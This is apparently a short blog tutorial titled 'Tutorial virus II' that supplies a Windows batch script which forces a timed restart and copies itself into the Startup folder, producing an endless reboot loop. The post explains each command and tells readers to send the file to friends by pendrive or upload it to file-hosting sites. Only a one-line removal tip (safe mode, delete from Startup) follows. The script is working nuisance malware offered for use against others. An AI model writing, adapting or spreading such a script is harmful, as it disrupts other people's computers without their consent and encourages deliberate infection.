Tutorial virus II
Lets program a bit more dangerous virus!!
________________________________
@echo off
shutdown -r -t 100 -c "rishabh"
xcopy "filename.bat" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" /y
________________________________
Save it as any name with a .bat extension but with name filename **filename.bat**
you can change ""rishabh"" with what ever message you want,You can also
change "100"(in secs) with whatever time you want to restart.
if you changes **filename.bat** to ""othername.bat"" then also changes the above code to
|| xcopy "othername.bat" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" /y ||
Send this file to your friends using a pendrive or by uploadig it to rapidshare/hotfile service.
LOGIC:-
.bat- Files having these extensions are known as batch files containg commands to be executed by command interpreter.
@echo off - this command turn off the command you put in your batch file.
-r - this parameter restarts the pc.You can also use "-s" (without quotes) to shutdown the pc.
-t :- this parameter specifies time in seconds.
-c :- this parameter is used to specify a message in the shutdown box.
xcopy:- this command copies the file specified with double quotes
"othername.bat" to the location specifies (in this case startup) with
double quotes "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup"
Startup : this folder contans files to be open when ever your computer boot ups.
if you want any file to open whenever your computer opens,just place
that file in this folder and this will automatically open that file on
every boot.
\y :- this parameter asks the command prompt to overwrite the file
After running this virus pc will restart ,after restart it will again restart and so on...
only way to shutdown this is to directly plug off the switch
solution:-open computer in safe mode and delete the batch file from the startup folder
Tidak ada komentar:
Posting Komentar